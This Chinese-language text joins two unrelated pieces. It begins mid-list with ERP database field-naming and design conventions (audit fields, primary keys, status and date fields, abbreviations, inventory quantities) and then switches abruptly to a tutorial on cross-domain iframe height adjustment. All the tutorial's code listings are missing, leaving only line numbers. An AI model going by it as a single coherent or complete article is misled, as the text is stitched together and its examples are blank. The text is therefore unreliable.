2 每个表增加4个必备字段,用于记录该笔数据的创建时间,创建人,最后修改人,最后修改时间
[CreatedDate] [datetime] NULL, [CreatedBy] [nvarchar] (10) COLLATE SQL_Latin1_General_CP1_CI_AS NULL, [RevisedDate] [datetime] NULL, [RevisedBy] [nvarchar] (10) COLLATE SQL_Latin1_General_CP1_CI_AS NULL
框架程序中会强制读取这几个字段,默认写入值。
3 主从表的主外键设计
主表用参考编号RefNo作为主键,从表用RefNo,EntryNo作为主键。RefNo是字符串类型,可用于单据编码功能中自动填写单据流水号,从表的EntryNo是行号,LineNo是SQL Server 的关键字,所以用EntryNo作为行号。
如果是三层表,则第三层表的主键依次是RefNo,EntryNo,DetailEntryNo,第三个主键用于自动增长行号。
4 设计单据状态字段
字段 | 含义 |
Posted | 过帐,已确认 |
Closed | 已完成 |
Cancelled | 已取消 |
Approved | 已批核 |
Issued | 已发料 |
Finished | 已完成 |
Suspended | 已取消 |
5 字段含义相近,把相同的单词调成前缀。
比如工作单中的成本核算,人工成本,机器成本,能源成本,用英文表示为LaborCost,MachineCost,EnergyCost
但是为了方便规组,我们把Cost调到字段的前面,于是上面三个字段命名为CostLabor,CostMachine,CostEnergy。
可读性后者要比前者好一点,Visual Studio或SQL Prompt智能感知也可帮助提高字段输入的准确率。
6 单据引用键命名 SourceRefNo SourceEntryNo
销售送货Shipment会引用到是送哪张销售单据的,可以添加如下引用键SourceRefNo,SourceEntryNo,表示送货单引用的销售单的参考编号和行号。Source开头的字段一般用于单据引用关联。
7 数据字典键设计
比如员工主档界面的员工性别Gender,我的方法是在源代码中用枚举定义。性别枚举定义如下:
public enum Gender { [StringValue("M")] [DisplayText("Male")] Male, [StringValue("F")] [DisplayText("Female")] Female }
在代码中调用枚举的通用方法,读取枚举的StringValue写入到数据库中,读取枚举的DisplayText显示在界面中。
经过这一层设计,数据库中有关字典方面的设计就规范起来了,避免了数据字典的项的增减给系统带来的问题。
8 数值类型字段长度设计
Price/Qty 数量/单价 6个小数位 nnnnnnnnnn.nnnnnn 格式 (10.6)
Amount 金额 2个小数位 nnnnnnnnnnnn.nn 格式(12.2)
Total Amt 总金额 2个小数位 nnnnnnnnnnnnnn.nn 格式(14.2)
参考编号默认16个字符长度,不够用的情况下增加到30个字符,再不够用增加到60个字符。这样可以保证每张单据的第一个参考编号输入控件看起来都是一样长度。
除非特别需求,一般而言,界面中控件的长度取自映射的数据库中字段的定义长度。
9 每个单据表头和明细各增加10个自定义字段,基础资料表增加20个自定义字段
参考供应商主档的自定义字段,自定义字段的名称统一用UserDefinedField。
ALTER TABLE Vendor ADD COLUMN [USER_DEFINED_FIELD_1] nvarchar(100) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ALTER TABLE Vendor ADD COLUMN [USER_DEFINED_FIELD_2] nvarchar(100) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ALTER TABLE Vendor ADD COLUMN [USER_DEFINED_FIELD_3] nvarchar(100) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ALTER TABLE Vendor ADD COLUMN [USER_DEFINED_FIELD_4] nvarchar(100) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ALTER TABLE Vendor ADD COLUMN [USER_DEFINED_FIELD_5] nvarchar(100) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ALTER TABLE Vendor ADD COLUMN [USER_DEFINED_FIELD_6] nvarchar(100) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ALTER TABLE Vendor ADD COLUMN [USER_DEFINED_FIELD_7] nvarchar(100) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ALTER TABLE Vendor ADD COLUMN [USER_DEFINED_FIELD_8] nvarchar(100) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ALTER TABLE Vendor ADD COLUMN [USER_DEFINED_FIELD_9] nvarchar(100) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ALTER TABLE Vendor ADD COLUMN [USER_DEFINED_FIELD_10] nvarchar(100) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ALTER TABLE Vendor ADD COLUMN [USER_DEFINED_FIELD_11] nvarchar(100) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ALTER TABLE Vendor ADD COLUMN [USER_DEFINED_FIELD_12] nvarchar(100) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ALTER TABLE Vendor ADD COLUMN [USER_DEFINED_FIELD_13] nvarchar(100) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ALTER TABLE Vendor ADD COLUMN [USER_DEFINED_FIELD_14] nvarchar(100) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ALTER TABLE Vendor ADD COLUMN [USER_DEFINED_FIELD_15] nvarchar(100) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ALTER TABLE Vendor ADD COLUMN [USER_DEFINED_FIELD_16] nvarchar(100) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ALTER TABLE Vendor ADD COLUMN [USER_DEFINED_FIELD_17] nvarchar(100) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ALTER TABLE Vendor ADD COLUMN [USER_DEFINED_FIELD_18] nvarchar(100) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ALTER TABLE Vendor ADD COLUMN [USER_DEFINED_FIELD_19] nvarchar(100) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ALTER TABLE Vendor ADD COLUMN [USER_DEFINED_FIELD_20] nvarchar(100) COLLATE SQL_Latin1_General_CP1_CI_AS NULL
10 多货币(本位币)转换字段的设计
金额或单价默认是以日记帐中的货币为记录,当默认货币与本位币不同时需要同时记录下本位币的值。
销售单销售金额 SalesAmount或SalesAmt,本位币字段定义为SalesAmountLocal或SalesAmtLocal
通常是在原来的字段后面加Local表示本位币的值。
11 各种日期字段的设计
字段名称 | 含义 |
TranDate | 日期帐日期 Tran是Transaction的简写 |
PostedDate | 过帐日期 |
ClosedDate | 完成日期 |
InvoiceDate | 开发票日期 |
DueDate | 截止日期 |
ScheduleDate | 计划日期,这个字段用在不同的单据含义不同。比如销售单是指送货日期,采购单是指收货日期。 |
OrderDate | 订单日期 |
PayDate | 付款日期 |
CreatedDate | 创建日期 |
RevisedDate | 修改日期 |
SettleDate | 付款日期 |
IssueDate | 发出日期 |
ReceiptDate | 收货日期 |
ExpireDate | 过期时间 |
12 财务有关的单据包含三个标准字段
FiscalYear 财年,PeriodNo 会计期间,Period 前面二个的组合。以国外的财年为例子,FiscalYear是2015,PeriodNo是4,Period是2015/04。
欧美会计期间是从每年的4月份开始,需要注意的是会计期间与时间没有必然的联系,看到会计期间是2015/04,不一定是表示2015的4月份,它只是说这是2015财年的第四期,具体在哪个时间段需要看会计期间定义。
13 单据自动生成 DirectEntry
有些单据是由其它单据生成过来的,逻辑上应该不支持编辑。比如销售送货Shipment单会产生出仓单,出仓单应该不支持编辑,只能做过帐扣减库存操作。这时需要DirectEntry标准字段来表示。当手工创建一张出仓单时,将DirectEntry设为true,表示可编辑单据中的字段值,当由其它单据传递产生过来产生的出仓单,将DirectEntry设为false,表示不能编辑此单据。这种情况还发生在业务单据产生记帐凭证(Voucher)的功能中,如果可以修改由原始单据传递过来的数量金额等字段,则会导致与源单不匹配,给系统对帐产生困扰。
14 百分比值字段的设计
Percentage百分比值,用于折扣率,损耗率等相关比率设定的地方。推荐用数值类型表示,用脚本表示是
[ScrapRate] [decimal] (5, 2) NULL
预留两位小数,整数部分支持1-999三位数。常常是整数部分2位就可以,用3位也是为了支持一些特殊行业(物料损耗率超过100)的要求。
15 日志表记录编号LogNo字段设计
LogNo字段的设计有些巧妙,以出仓单为例子,一张出仓单有5行物料明细,每一行物料出仓都会扣减库存,再写物料进出日记帐,因为这五行物料出仓来自同一个出仓单,于是将这五行物料的日记帐中的LogNo都设为同一个值。于在查询数据时,以这个字段分组即可看到哪些物料是在同一个时间点上出仓的,对快速查询有很重要的作用。
16 基础资料表增加名称,名称长写,代用名称三个字段
比如供应商Vendor表,给它加以下三个字段:
Description 供应商名称,比如微软公司。
ExtDescription 供应商名称长写,比如电气行业的南网的全名是南方国家电网有限公司。
AltDescription 供应商名称替代名称,用在报表或是其它单据引用中。比如采购单中的供应商是用微软,还是用代用名称Microsoft,由参数(是否用代用名称)控制。
17 文件类表增加MD5 Hash字段
比如产品数据管理系统要读取图纸,单据功能中增加的附件文件,这类涉及文件读写引用的地方,考虑存放文件的MD5哈希值。文件的MD5相当于文件的唯一识别身份,在网上下载文件时,网站常常会放出文件的MD5值,以方便对比核对。当下载到本机的文件的MD5值与网站上给出的值不一致时,有可能这个文件被第三方程序修改过,不可信任。
18 数据表的主键用字符串而不是数字
比如销售单中的货币字段,是存放货币表的货币字符串值RMB/HKD/USD,还是存放货币表的数字键,1/2/3。
存放前者对于报表制作相对容易,但是修改起来相对麻烦。存放后者对修改数据容易,但对报表类或查询类操作都需要增加一个左右连接来看数字代表的货币。金蝶使用的是后者,它的BOS系统也不允许数据表之间有直接的关联,而是间接通过Id值来关联表。
在我看到的系统中,只有一个会计期间功能(财年Fiscal Year)用到数字值作主键,其余的单据全部是字符串做主键。
19 使用约定俗成的简写
模块Module 简写
简写 | 全名 |
SL | Sales 销售 |
PU | Purchasing 采购 |
IC | Inventory 仓库 |
AR | Account Receivable 应收 |
AP | Account Payable 应付 |
GL | General Ledger 总帐 |
PR | Production 生产 |
名称Name 简写
简写 | 全名 |
Uom | Unit of Measure 单位 |
Ccy | Currency 货币 |
Amt | Amount 金额 |
Qty | Quantity 数量 |
Qty Per | Quantity Per 用量 |
Std Output | Standard Output 标准产量 |
ETA | Estimated Time of Arrival 预定到达时间 |
ETD | Estimated Time of Departure 预定出发时间 |
COD | Cash On Delivery 货到付款 |
SO | Sales Order 销售单 |
PO | Purchase Order 采购单 |
20 库存单据数量状态
Qty On Hand 在手量
Qty Available 可用量
Qty On Inspect 在验数量
Qty On Commited 提交数量
Qty Reserved 预留数量
以上每个字段都有标准和行业约定的含义,不可随意修改取数方法。
1. 跨子域的iframe高度自适应
2. 完全跨域的iframe高度自适应
同域的我们可以轻松的做到
1. 父页面通过iframe的contentDocument或document属性访问到文档对象,进而可以取得页面的高度,通过此高度值赋值给iframe tag。
2. 子页面可以通过parent访问到父页面里引入的iframe tag,进而设置其高度。
但跨域的情况则不允许对子页面或父页面的文档进行访问(返回undefined),所以我们要做的就是打通或间接打通这个壁垒。
一、跨子域的iframe高度自适应
比如 'a.jd.com/3.html' 嵌入了 'b.jd.com/4.html',这种跨子域的页面
3.html
1 2 3 4 5 6 7 8 9 10 11 12 13 |
|
4.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
|
可以看到与上一篇对比,只要在两个页面里都加上document.domain就可以了
二、完全跨域的iframe高度自适应
分别有以下资源
- 页面 A:http://snandy.github.io/lib/iframe/A.html
- 页面 B:http://snandy.github.io/lib/iframe/B.html
- 页面 C:http://snandy.jd-app.com
- D.js:http://snandy.github.io/lib/iframe/D.js
这四个资源有如下关系
1. A里嵌入C,A和C是不同域的,即跨域iframe
2. C里嵌入B,C和B是不同域的,但A和B是同域的
3. C里嵌入D.js,D.js放在和A同域的项目里
通过一个间接方式实现,即通过一个隐藏的B.html来实现高度自适应。
A.html
嵌入页面C: http://snandy.jd-app.com
1 2 3 4 5 6 7 8 9 10 |
|
B.html
嵌入在C页面中,它是隐藏的,通过parent.parent访问到A,再改变A的iframe(C.html)高度,这是最关键的,因为A,B是同域的所以可以访问A的文档对象等。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
|
C.html
嵌入在A中,和A不同域,要实现C的自适应,C多高则A里的iframe就设为多高。C里嵌入B.html 和 D.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
|
D.js
在页面C载入后计算其高度,然后将计算出的height赋值给C里引入的iframe(B.html)的src
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
|
线上示例:http://snandy.github.io/lib/iframe/A.html